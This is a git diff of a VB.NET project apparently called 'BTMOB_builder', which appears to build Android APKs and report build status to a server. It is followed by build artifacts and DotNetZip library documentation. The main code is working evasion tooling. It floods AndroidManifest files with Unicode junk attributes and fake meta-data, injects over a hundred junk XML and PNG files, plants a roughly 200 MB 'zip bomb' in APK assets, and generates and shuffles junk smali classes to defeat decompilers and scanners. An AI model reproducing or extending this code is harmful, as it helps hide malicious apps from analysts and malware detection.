StringContent(jsonData, Encoding, "application/json") + Try + Dim response As HttpResponseMessage = Await client.PostAsync(Worker.ServerApi_Customapp, content) + response.EnsureSuccessStatusCode() + Dim responseContent As String = Await response.Content.ReadAsStringAsync() + Mylogger.Logbuild(Worker.userid, ">Server UpdateState: " + responseContent) + Catch ex As Exception + Mylogger.Logbuild(Worker.userid, ">UpdateState Error: " + ex.Message) + End Try + Else + Dim client2 As HttpClient = New HttpClient() + Dim jsonData2 As String = JsonConvert.SerializeObject(New Dictionary(Of String, Object)() From {{"userid", Worker.userid}, {"appid", Worker.appid}, {"subcom", subCommand}}) + Dim content2 As StringContent = New StringContent(jsonData2, Encoding, "application/json") + Try + Dim response2 As HttpResponseMessage = Await client2.PostAsync(Worker.ServerApi, content2) + response2.EnsureSuccessStatusCode() + Dim responseContent2 As String = Await response2.Content.ReadAsStringAsync() + Mylogger.Logbuild(Worker.userid, ">Server UpdateState: " + responseContent2) + Catch ex2 As Exception + Mylogger.Logbuild(Worker.userid, ">UpdateState Error: " + ex2.Message) + End Try + End If + End Sub + Private Async Sub InsertApp() + + If isCustomeApp Then + Dim client As HttpClient = New HttpClient() + Dim jsonData As String = JsonConvert.SerializeObject(New Dictionary(Of String, Object)() From {{"userid", Worker.userid}, {"appid", Worker.appid}, {"apppath", Worker.userfolder + "\" + Worker.appid + ".apk"}, {"subcom", Worker.onbuild}, {"appname", Worker.appname}, {"", Worker.userid + "/icons/" + Worker.appicopath}, {"appver", BT_appver}}) + Dim content As StringContent = New StringContent(jsonData, Encoding, "application/json") + Try + Dim response As HttpResponseMessage = Await client.PostAsync(Worker.ServerApi_Customapp, content) + response.EnsureSuccessStatusCode() + Dim responseContent As String = Await response.Content.ReadAsStringAsync() + Mylogger.Logbuild(Worker.userid, ">Server InsertApp 2: " + responseContent) + Catch ex As Exception + Mylogger.Logbuild(Worker.userid, ">InsertApp Error 2: " + ex.Message) + End Try + Else + Dim client2 As HttpClient = New HttpClient() + Dim jsonData2 As String = JsonConvert.SerializeObject(New Dictionary(Of String, Object)() From {{"userid", Worker.userid}, {"appid", Worker.appid}, {"apppath", Worker.userfolder + "\" + Worker.appid + ".apk"}, {"subcom", Worker.onbuild}, {"appver", BT_appver}}) + Dim content2 As StringContent = New StringContent(jsonData2, Encoding, "application/json") + Try + Dim response2 As HttpResponseMessage = Await client2.PostAsync(Worker.ServerApi, content2) + response2.EnsureSuccessStatusCode() + Dim responseContent2 As String = Await response2.Content.ReadAsStringAsync() + Mylogger.Logbuild(Worker.userid, ">Server InsertApp: " + responseContent2) + Catch ex2 As Exception + Mylogger.Logbuild(Worker.userid, ">InsertApp Error: " + ex2.Message) + End Try + End If + End Sub + Public Function ConfuseAndObfuscateManifestXml(xmlContent As String) As String + Dim xmlDoc As New XmlDocument() + Try + xmlDoc.LoadXml(xmlContent) + Catch ex As Exception + Return xmlContent + End Try + + Dim rand As New Random() + Dim androidNs As String = "http://schemas.android.com/apk/res/android" + Dim nsMgr As New XmlNamespaceManager(xmlDoc.NameTable) + nsMgr.AddNamespace("android", androidNs) + + ' Helper to generate a safe obfuscated name using Unicode ranges (CJK, Cyrillic, etc.) + Dim GetObfuscatedName As Func(Of Integer, String) = Function(length As Integer) + Dim sb As New System.Text.StringBuilder() + For i = 1 To length + Dim choice = rand.Next(0, 4) + Dim ch As Char + Select Case choice + Case 0 ' CJK + ch = ChrW(&H4E00 + rand.Next(0, &H9FFF - &H4E00)) + Case 1 ' Korean Hangul + ch = ChrW(&HAC00 + rand.Next(0, &HD7A3 - &HAC00)) + Case 2 ' Cyrillic + ch = ChrW(&H400 + rand.Next(0, &H4FF - &H400)) + Case Else ' Basic Latin letter + ch = ChrW(Asc("a") + rand.Next(0, 26)) + End Select + sb.Append(ch) + Next + Return sb.ToString() + End Function + + Dim allNodes As New List(Of XmlElement)() + For Each node As XmlElement In xmlDoc.GetElementsByTagName("*") + allNodes.Add(node) + Next + + For Each node As XmlElement In allNodes + Try + ' Random Unicode junk attribute + Dim attrName As String = "android:" & XmlConvert.EncodeName(GetObfuscatedName(12)) + Dim attrValue As String = "><" & Guid.NewGuid().ToString("N").Substring(0, 8) & $">\n" + node.SetAttribute(attrName, attrValue) + + + Dim junkCount As Integer = 100 + rand.Next(10, 30) + If {"uses-permission", "permission", "meta-data", "action", "category", "data", "intent", "uses-library", "queries", "uses-feature", "intent-filter"}.Contains(node.Name) Then + junkCount = 1 + 'Continue For + End If + + ' Add junk children + + For i As Integer = 1 To junkCount + Dim junkMeta As XmlElement = xmlDoc.CreateElement("meta-data") + Dim nameVal As String = XmlConvert.EncodeName(GetObfuscatedName(12)) & "." & Guid.NewGuid().ToString("N").Substring(0, 6) + Dim valVal As String = GetObfuscatedName(14) & "_v_" & rand.Next(100000, 999999) + junkMeta.SetAttribute("name", androidNs, nameVal) + junkMeta.SetAttribute("value", androidNs, valVal) + node.AppendChild(junkMeta) + Next + Catch + ' Skip failed insertions silently + End Try + Next + + ' Add more junk under + Dim applicationNode As XmlNode = xmlDoc.SelectSingleNode("//application") + If applicationNode IsNot Nothing Then + Dim junkCount As Integer = 100 + rand.Next(10, 30) + For i As Integer = 1 To junkCount + Dim metaDataNode As XmlElement = xmlDoc.CreateElement("meta-data") + Dim fakeName As String = "com." & XmlConvert.EncodeName(GetObfuscatedName(12)) & "." & GetObfuscatedName(5) + Dim fakeValue As String = GetObfuscatedName(4) & "_value_" & rand.Next(100000, 999999) + metaDataNode.SetAttribute("name", androidNs, fakeName) + metaDataNode.SetAttribute("value", androidNs, fakeValue) + applicationNode.AppendChild(metaDataNode) + Next + End If + + ' Output the modified XML as UTF-8 + Using ms As New MemoryStream() + Dim settings As New XmlWriterSettings() With { + .Encoding = New UTF8Encoding(False), + .Indent = True, + .OmitXmlDeclaration = False + } + Using writer As XmlWriter = XmlWriter.Create(ms, settings) + xmlDoc.Save(writer) + End Using + Return Encoding.UTF8.GetString(ms.ToArray()) + End Using + End Function + + Public Sub InjectRandomJunkFiles(targetDir As String) + Try + If Not Directory.Exists(targetDir) Then + 'Console.WriteLine("Directory does not exist.") + Mylogger.Logbuild(userid, ">" & "> Inject:Directory does not exist...") + Return + End If + + Dim rand As New Random() + Dim numFiles As Integer = rand.Next(120, 150) ' Add 5 to 10 files + + For i As Integer = 1 To numFiles + Dim isXml As Boolean = rand.NextDouble() < 0.5 ' 50/50 chance for XML or PNG + Dim fileName As String = "c_" & Guid.NewGuid().ToString("N").Substring(0, 8) + + If isXml Then + ' Create fake XML + Dim filePath As String = Path.Combine(targetDir, fileName & ".xml") + Dim xmlContent As String = "" & vbCrLf & + "" & vbCrLf & + " " & Guid.NewGuid().ToString() & "" & vbCrLf & + " " & Guid.NewGuid().ToString() & "" & vbCrLf & + " " & Guid.NewGuid().ToString() & "" & vbCrLf & + " " & Guid.NewGuid().ToString() & "" & vbCrLf & + " " & rand.Next(1000, 9999).ToString() & "" & vbCrLf & + " " & rand.Next(1000, 9999).ToString() & "" & vbCrLf & + " " & rand.Next(1000, 9999).ToString() & "" & vbCrLf & + " " & rand.Next(1000, 9999).ToString() & "" & vbCrLf & + "" + File.WriteAllText(filePath, xmlContent) + Else + ' Create fake PNG + Dim filePath As String = Path.Combine(targetDir, fileName & ".png") + Dim bmpWidth As Integer = rand.Next(25, 30) + Dim bmpHeight As Integer = rand.Next(10, 20) + Using bmp As New Bitmap(bmpWidth, bmpHeight) + For x As Integer = 0 To bmp.Width - 1 + For y As Integer = 0 To bmp.Height - 1 + Dim color As Color = color.FromArgb(rand.Next(256), rand.Next(256), rand.Next(256)) + bmp.SetPixel(x, y, color) + Next + Next + bmp.Save(filePath, Imaging.ImageFormat.Png) + End Using + End If + Next + + ' Console.WriteLine("✅ Junk files injected into: " & targetDir) + Mylogger.Logbuild(userid, ">" & "> Junk files:done...") + Catch ex As Exception + 'Console.WriteLine("❌ Error injecting junk files: " & ex.Message) + Mylogger.Logbuild(userid, ">" & "> Junk files:error " & ex.Message) + End Try + End Sub + + Public Sub AddZipBombEncrypted(apkPath As String) + Mylogger.Logbuild(userid, "AddZipBombEncrypted...") + Dim tempBombPath As String = Path.Combine(Path.GetTempPath(), "classes.so") + + ' 1. Generate large dummy file (e.g. 200MB) + Using fs As New FileStream(tempBombPath, FileMode.Create, FileAccess.Write) + Dim buffer(1023) As Byte ' 1 KB + For i As Integer = 1 To 200000 ' ~200 MB + fs.Write(buffer, 0, buffer.Length) + Next + End Using + + ' 2. Inject it encrypted into APK's assets folder + Using zip As Ionic.Zip.ZipFile = Ionic.Zip.ZipFile.Read(apkPath) + zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression + zip.UseZip64WhenSaving = Ionic.Zip.Zip64Option.Never + + ' Clean up if bomb.dat already exists + Dim existing = zip("assets/classes") + If existing IsNot Nothing Then zip.RemoveEntry(existing) + + zip.AddFile(tempBombPath, "assets") ' assets/bomb.dat + zip.Save() + End Using + + ' 3. Delete temp file + If File.Exists(tempBombPath) Then File.Delete(tempBombPath) + + Mylogger.Logbuild(userid, "zip bomb added...") + End Sub + + + Public Sub GenerateJunkSmaliFiles(smaliRootPath As String, Optional count As Integer = 100) + Dim rand As New Random() + Dim junkDirs As New List(Of String)() + + ' Get existing subdirectories except ignored ones + Dim existingDirs As String() = Directory.GetDirectories(smaliRootPath, "*", SearchOption.AllDirectories) + For Each dir As String In existingDirs + Dim lowerDir As String = dir.ToLowerInvariant().Replace("/", "\") + If lowerDir.Contains("\androidx\") OrElse + lowerDir.Contains("\android\") OrElse + lowerDir.Contains("\unityfslma\") OrElse + lowerDir.Contains("\okhttp3\") Then + Continue For + End If + junkDirs.Add(dir) + Next + + ' Add new random directories + For i As Integer = 1 To 5 + Dim subDir As String = Path.Combine(smaliRootPath, + RandomSTR(3, 15).ToLower(), + RandomSTR(3, 15).ToLower(), + RandomSTR(3, 15).ToLower()) + Directory.CreateDirectory(subDir) + junkDirs.Add(subDir) + Next + + ' Create junk classes in each dir + For Each dir As String In junkDirs + ' For i As Integer = 1 To Math.Ceiling(count / junkDirs.Count) + For i As Integer = 1 To count + Dim className As String = RandomSTR(6, 15).ToLower() + Dim smaliPath As String = Path.Combine(dir, className & ".smali") + + Dim classPath As String = smaliPath.Substring(smaliRootPath.Length + 1) _ + .Replace(Path.DirectorySeparatorChar, "/"c).Replace(".smali", "") + + Dim sb As New StringBuilder() + sb.AppendLine($".class public L{classPath};") + sb.AppendLine(".super Ljava/lang/Object;") + sb.AppendLine() + + ' Add random fields with random values + For j As Integer = 1 To rand.Next(10, 15) + Dim value As Integer = rand.Next(-8, 8) ' valid const/4 value range + sb.AppendLine($".field public static f{j}_{GetRandomChars(rand, 4)}:I = {value}") + Next + + sb.AppendLine() + + ' Constructor + sb.AppendLine(".method public constructor ()V") + sb.AppendLine(" .locals 1") + sb.AppendLine(" invoke-direct {p0}, Ljava/lang/Object;->()V") + sb.AppendLine(" return-void") + sb.AppendLine(".end method") + sb.AppendLine() + + ' Add fake methods with fake instructions + For j As Integer = 1 To rand.Next(4, 10) + Dim methodName As String = "do" & GetRandomChars(rand, rand.Next(6, 9)) + sb.AppendLine($".method public static {methodName}()V") + sb.AppendLine(" .locals 3") + + ' Add junk instructions + sb.AppendLine(" const/4 v0, " & FormatConst4(rand.Next(-8, 8))) + sb.AppendLine(" const/4 v1, " & FormatConst4(rand.Next(-8, 8))) + sb.AppendLine(" const/4 v2, " & FormatConst4(rand.Next(-8, 8))) + + + Select Case rand.Next(0, 3) + Case 0 + sb.AppendLine(" add-int v0, v0, v1") + sb.AppendLine(" mul-int v1, v1, v2") + Case 1 + sb.AppendLine(" xor-int v0, v0, v2") + sb.AppendLine(" rem-int v2, v1, v0") + Case 2 + sb.AppendLine(" or-int v1, v0, v2") + sb.AppendLine(" and-int v2, v1, v0") + End Select + + sb.AppendLine(" sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;") + sb.AppendLine(" const-string v0, """ + methodName + """") + sb.AppendLine(" invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V") + + + sb.AppendLine(" return-void") + sb.AppendLine(".end method") + sb.AppendLine() + Next + + + + Dim utf8WithoutBOM As New System.Text.UTF8Encoding(False) + File.WriteAllText(smaliPath, sb.ToString(), utf8WithoutBOM) + Next + Next + End Sub + Private Function FormatConst4(value As Integer) As String + If value < 0 Then + Return "-0x" & Math.Abs(value).ToString("X") + Else + Return "0x" & value.ToString("X") + End If + End Function + + + Private Function GetRandomChar(rand As Random) As String + Dim c As Char = ChrW(rand.Next(97, 123)) ' a-z + Return c.ToString().ToLower() + End Function + + Private Function GetRandomChars(rand As Random, length As Integer) As String + Dim sb As New StringBuilder() + For i As Integer = 1 To length + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + sb.Append(GetRandomChar(rand)) + Next + Return sb.ToString().ToLower() + End Function + Public Sub ShuffleSmaliFiles(decompiledApkPath As String, numAdditionalFolders As Integer) + If numAdditionalFolders < 1 Then + Throw New ArgumentException("Number of additional folders must be at least 1.") + End If + + ' Step 1: Find all existing smali folders + Dim existingSmaliFolders As New List(Of String)() + Dim baseDirs() As String = Directory.GetDirectories(decompiledApkPath) + Dim maxIndex As Integer = 1 + + For Each dir As String In baseDirs + Dim folderName As String = Path.GetFileName(dir) + If folderName = "smali" Then + existingSmaliFolders.Add(dir) + ElseIf folderName.StartsWith("smali_classes") Then + Dim suffix As String = folderName.Substring("smali_classes".Length) + Dim num As Integer + If Integer.TryParse(suffix, num) Then + existingSmaliFolders.Add(dir) + If num > maxIndex Then maxIndex = num + End If + End If + Next + + ' Step 2: Create new smali_classes folders starting from next available index + Dim newSmaliFolders As New List(Of String)() + For i As Integer = maxIndex + 1 To maxIndex + numAdditionalFolders + Dim newFolder As String = Path.Combine(decompiledApkPath, "smali_classes" & i.ToString()) + Directory.CreateDirectory(newFolder) + newSmaliFolders.Add(newFolder) + Next + + ' Step 3: Collect all smali files with their source roots + Dim allSmaliFiles As New List(Of SmaliFile)() + For Each smaliFolder As String In existingSmaliFolders + Dim smaliFiles() As String = Directory.GetFiles(smaliFolder, "*.smali", SearchOption.AllDirectories) + For Each file As String In smaliFiles + allSmaliFiles.Add(New SmaliFile(file, smaliFolder)) + Next + Next + + ' Step 4: Shuffle the list + Dim random As New Random() + ShuffleList(allSmaliFiles, random) + + ' Step 5: Keep a portion in original folders + Dim keepPerOriginal As Integer = Math.Max(1, allSmaliFiles.Count \ (existingSmaliFolders.Count + newSmaliFolders.Count)) + + For i As Integer = 0 To allSmaliFiles.Count - 1 + Dim smaliFile As SmaliFile = allSmaliFiles(i) + Dim relativePath As String = GetRelativePath(smaliFile.SourceRoot, smaliFile.FilePath) + + Dim keepInOriginal As Boolean = (i < keepPerOriginal * existingSmaliFolders.Count) + + If keepInOriginal Then + ' Skip moving + Continue For + Else + ' Choose a random folder excluding original + Dim targetFolders As New List(Of String)(existingSmaliFolders) + targetFolders.AddRange(newSmaliFolders) + targetFolders.Remove(smaliFile.SourceRoot) + + Dim targetFolder As String = targetFolders(random.Next(targetFolders.Count)) + Dim targetFilePath As String = Path.Combine(targetFolder, relativePath) + + Directory.CreateDirectory(Path.GetDirectoryName(targetFilePath)) + File.Move(smaliFile.FilePath, targetFilePath) + End If + Next + End Sub + + ' Helper class for smali file + source root + Public Class SmaliFile + Public Property FilePath As String + Public Property SourceRoot As String + + Public Sub New(filePath As String, sourceRoot As String) + Me.FilePath = filePath + Me.SourceRoot = sourceRoot + End Sub + End Class + + ' Custom GetRelativePath for .NET 4.5 + Public Function GetRelativePath(basePath As String, targetPath As String) As String + Dim baseUri As New Uri(If(basePath.EndsWith(Path.DirectorySeparatorChar), basePath, basePath & Path.DirectorySeparatorChar)) + Dim targetUri As New Uri(targetPath) + Return Uri.UnescapeDataString(baseUri.MakeRelativeUri(targetUri).ToString().Replace("/"c, Path.DirectorySeparatorChar)) + End Function + + ' List shuffle method compatible with .NET 4.5 + Public Sub ShuffleList(Of T)(list As IList(Of T), random As Random) + For i As Integer = list.Count - 1 To 1 Step -1 + Dim j As Integer = random.Next(i + 1) + Dim temp As T = list(i) + list(i) = list(j) + list(j) = temp + Next + End Sub +End Module diff --git a/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb b/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb new file mode 100644 index 0000000..c554e58 --- /dev/null +++ b/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb @@ -0,0 +1,7 @@ +' + Option Strict Off + Option Explicit On + + Imports System + Imports System.Reflection + diff --git a/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb b/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb new file mode 100644 index 0000000..4ff6198 --- /dev/null +++ b/BTMOB_builder/SolrWorker/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb @@ -0,0 +1,7 @@ +' + Option Strict Off + Option Explicit On + + Imports System + Imports System.Reflection + diff --git a/BTMOB_builder/SolrWorker/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/BTMOB_builder/SolrWorker/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..8ff0d19 Binary files /dev/null and b/BTMOB_builder/SolrWorker/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/BTMOB_builder/SolrWorker/obj/Debug/SolrWorker.vbproj.AssemblyReference.cache b/BTMOB_builder/SolrWorker/obj/Debug/SolrWorker.vbproj.AssemblyReference.cache new file mode 100644 index 0000000..d8b1613 Binary files /dev/null and b/BTMOB_builder/SolrWorker/obj/Debug/SolrWorker.vbproj.AssemblyReference.cache differ diff --git a/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Application.Designer.vb.dll b/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Application.Designer.vb.dll new file mode 100644 index 0000000..b2a0660 Binary files /dev/null and b/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Application.Designer.vb.dll differ diff --git a/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll new file mode 100644 index 0000000..e81acd0 Binary files /dev/null and b/BTMOB_builder/SolrWorker/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/BTMOB_builder/SolrWorker/packages.config b/BTMOB_builder/SolrWorker/packages.config new file mode 100644 index 0000000..cb693f4 --- /dev/null +++ b/BTMOB_builder/SolrWorker/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/.signature.p7s b/BTMOB_builder/packages/DotNetZip.1.16.0/.signature.p7s new file mode 100644 index 0000000..ad48421 Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/.signature.p7s differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/DotNetZip.1.16.0.nupkg b/BTMOB_builder/packages/DotNetZip.1.16.0/DotNetZip.1.16.0.nupkg new file mode 100644 index 0000000..714ff5e Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/DotNetZip.1.16.0.nupkg differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.dll b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.dll new file mode 100644 index 0000000..e4dd8a2 Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.dll differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.pdb b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.pdb new file mode 100644 index 0000000..576ab3c Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.pdb differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.xml b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.xml new file mode 100644 index 0000000..22cf66c --- /dev/null +++ b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.xml @@ -0,0 +1,18621 @@ + + + + DotNetZip + + + + + Delivers the remaining bits, left-aligned, in a byte. + + + + This is valid only if NumRemainingBits is less than 8; + in other words it is valid only after a call to Flush(). + + + + + + Reset the BitWriter. + + + + This is useful when the BitWriter writes into a MemoryStream, and + is used by a BZip2Compressor, which itself is re-used for multiple + distinct data blocks. + + + + + + Write some number of bits from the given value, into the output. + + + + The nbits value should be a max of 25, for safety. For performance + reasons, this method does not check! + + + + + + Write a full 8-bit byte into the output. + + + + + Write four 8-bit bytes into the output. + + + + + Write all available byte-aligned bytes. + + + + This method writes no new output, but flushes any accumulated + bits. At completion, the accumulator may contain up to 7 + bits. + + + This is necessary when re-assembling output from N independent + compressors, one for each of N blocks. The output of any + particular compressor will in general have some fragment of a byte + remaining. This fragment needs to be accumulated into the + parent BZip2OutputStream. + + + + + + Writes all available bytes, and emits padding for the final byte as + necessary. This must be the last method invoked on an instance of + BitWriter. + + + + Knuth's increments seem to work better than Incerpi-Sedgewick here. + Possibly because the number of elems to sort is usually small, typically + <= 20. + + + + BZip2Compressor writes its compressed data out via a BitWriter. This + is necessary because BZip2 does byte shredding. + + + + + The number of uncompressed bytes being held in the buffer. + + + + I am thinking this may be useful in a Stream that uses this + compressor class. In the Close() method on the stream it could + check this value to see if anything has been written at all. You + may think the stream could easily track the number of bytes it + wrote, which would eliminate the need for this. But, there is the + case where the stream writes a complete block, and it is full, and + then writes no more. In that case the stream may want to check. + + + + + + Accept new bytes into the compressor data buffer + + + + This method does the first-level (cheap) run-length encoding, and + stores the encoded data into the rle block. + + + + + + Process one input byte into the block. + + + + + To "process" the byte means to do the run-length encoding. + There are 3 possible return values: + + 0 - the byte was not written, in other words, not + encoded into the block. This happens when the + byte b would require the start of a new run, and + the block has no more room for new runs. + + 1 - the byte was written, and the block is not full. + + 2 - the byte was written, and the block is full. + + + + 0 if the byte was not written, non-zero if written. + + + + Append one run to the output block. + + + + + This compressor does run-length-encoding before BWT and etc. This + method simply appends a run to the output block. The append always + succeeds. The return value indicates whether the block is full: + false (not full) implies that at least one additional run could be + processed. + + + true if the block is now full; otherwise false. + + + + Compress the data that has been placed (Run-length-encoded) into the + block. The compressed data goes into the CompressedBytes array. + + + + Side effects: 1. fills the CompressedBytes array. 2. sets the + AvailableBytesOut property. + + + + + This is the most hammered method of this class. + +

+ This is the version using unrolled loops. +

+
+ + Method "mainQSort3", file "blocksort.c", BZip2 1.0.2 + + + Array instance identical to sfmap, both are used only + temporarily and independently, so we do not need to allocate + additional memory. + + + + A read-only decorator stream that performs BZip2 decompression on Read. + + + + + Compressor State + + + + + Create a BZip2InputStream, wrapping it around the given input Stream. + + + + The input stream will be closed when the BZip2InputStream is closed. + + + The stream from which to read compressed data + + + + Create a BZip2InputStream with the given stream, and + specifying whether to leave the wrapped stream open when + the BZip2InputStream is closed. + + The stream from which to read compressed data + + Whether to leave the input stream open, when the BZip2InputStream closes. + + + + + This example reads a bzip2-compressed file, decompresses it, + and writes the decompressed data into a newly created file. + + + var fname = "logfile.log.bz2"; + using (var fs = File.OpenRead(fname)) + { + using (var decompressor = new Ionic.BZip2.BZip2InputStream(fs)) + { + var outFname = fname + ".decompressed"; + using (var output = File.Create(outFname)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = decompressor.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer, 0, n); + } + } + } + } + + + + + + Read data from the stream. + + + + + To decompress a BZip2 data stream, create a BZip2InputStream, + providing a stream that reads compressed data. Then call Read() on + that BZip2InputStream, and the data read will be decompressed + as you read. + + + + A BZip2InputStream can be used only for Read(), not for Write(). + + + + The buffer into which the read data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Read a single byte from the stream. + + the byte read from the stream, or -1 if EOF + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes read in. + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + + + + Dispose the stream. + + + indicates whether the Dispose method was invoked by user code. + + + + + Close the stream. + + + + + Read n bits from input, right justifying the result. + + + + For example, if you read 1 bit, the result is either 0 + or 1. + + + + The number of bits to read, always between 1 and 32. + + + + Called by createHuffmanDecodingTables() exclusively. + + + Called by recvDecodingTables() exclusively. + + + Freq table collected to save a pass over the data during + decompression. + + + Initializes the tt array. + + This method is called when the required length of the array is known. + I don't initialize it at construction time to avoid unneccessary + memory allocation when compressing small files. + + + + A write-only decorator stream that compresses data as it is + written using the BZip2 algorithm. + + + + + Constructs a new BZip2OutputStream, that sends its + compressed output to the given output stream. + + + + The destination stream, to which compressed output will be sent. + + + + + This example reads a file, then compresses it with bzip2 file, + and writes the compressed data into a newly created file. + + + var fname = "logfile.log"; + using (var fs = File.OpenRead(fname)) + { + var outFname = fname + ".bz2"; + using (var output = File.Create(outFname)) + { + using (var compressor = new Ionic.BZip2.BZip2OutputStream(output)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = fs.Read(buffer, 0, buffer.Length)) > 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + + + Constructs a new BZip2OutputStream with specified blocksize. + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + + + Constructs a new BZip2OutputStream. + + the destination stream. + + whether to leave the captive stream open upon closing this stream. + + + + + Constructs a new BZip2OutputStream with specified blocksize, + and explicitly specifies whether to leave the wrapped stream open. + + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + whether to leave the captive stream open upon closing this stream. + + + + + Close the stream. + + + + This may or may not close the underlying stream. Check the + constructors that accept a bool value. + + + + + + Flush the stream. + + + + + The blocksize parameter specified at construction time. + + + + + Write data to the stream. + + + + + Use the BZip2OutputStream to compress data while writing: + create a BZip2OutputStream with a writable output stream. + Then call Write() on that BZip2OutputStream, providing + uncompressed data as input. The data sent to the output stream will + be the compressed form of the input data. + + + + A BZip2OutputStream can be used only for Write() not for Read(). + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Indicates whether the stream can be read. + + + The return value is always false. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value should always be true, unless and until the + object is disposed and closed. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes written through. + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + never returns anything; always throws + + + + A write-only decorator stream that compresses data as it is + written using the BZip2 algorithm. This stream compresses by + block using multiple threads. + + + This class performs BZIP2 compression through writing. For + more information on the BZIP2 algorithm, see + . + + + + This class is similar to , + except that this implementation uses an approach that employs multiple + worker threads to perform the compression. On a multi-cpu or multi-core + computer, the performance of this class can be significantly higher than + the single-threaded BZip2OutputStream, particularly for larger streams. + How large? Anything over 10mb is a good candidate for parallel + compression. + + + + The tradeoff is that this class uses more memory and more CPU than the + vanilla BZip2OutputStream. Also, for small files, the + ParallelBZip2OutputStream can be much slower than the vanilla + BZip2OutputStream, because of the overhead associated to using the + thread pool. + + + + + + + Constructs a new ParallelBZip2OutputStream, that sends its + compressed output to the given output stream. + + + + The destination stream, to which compressed output will be sent. + + + + + This example reads a file, then compresses it with bzip2 file, + and writes the compressed data into a newly created file. + + + var fname = "logfile.log"; + using (var fs = File.OpenRead(fname)) + { + var outFname = fname + ".bz2"; + using (var output = File.Create(outFname)) + { + using (var compressor = new Ionic.BZip2.ParallelBZip2OutputStream(output)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = fs.Read(buffer, 0, buffer.Length)) > 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + + + Constructs a new ParallelBZip2OutputStream with specified blocksize. + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + + + Constructs a new ParallelBZip2OutputStream. + + the destination stream. + + whether to leave the captive stream open upon closing this stream. + + + + + Constructs a new ParallelBZip2OutputStream with specified blocksize, + and explicitly specifies whether to leave the wrapped stream open. + + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + whether to leave the captive stream open upon closing this stream. + + + + + The maximum number of concurrent compression worker threads to use. + + + + + This property sets an upper limit on the number of concurrent worker + threads to employ for compression. The implementation of this stream + employs multiple threads from the .NET thread pool, via + ThreadPool.QueueUserWorkItem(), to compress the incoming data by + block. As each block of data is compressed, this stream re-orders the + compressed blocks and writes them to the output stream. + + + + A higher number of workers enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs 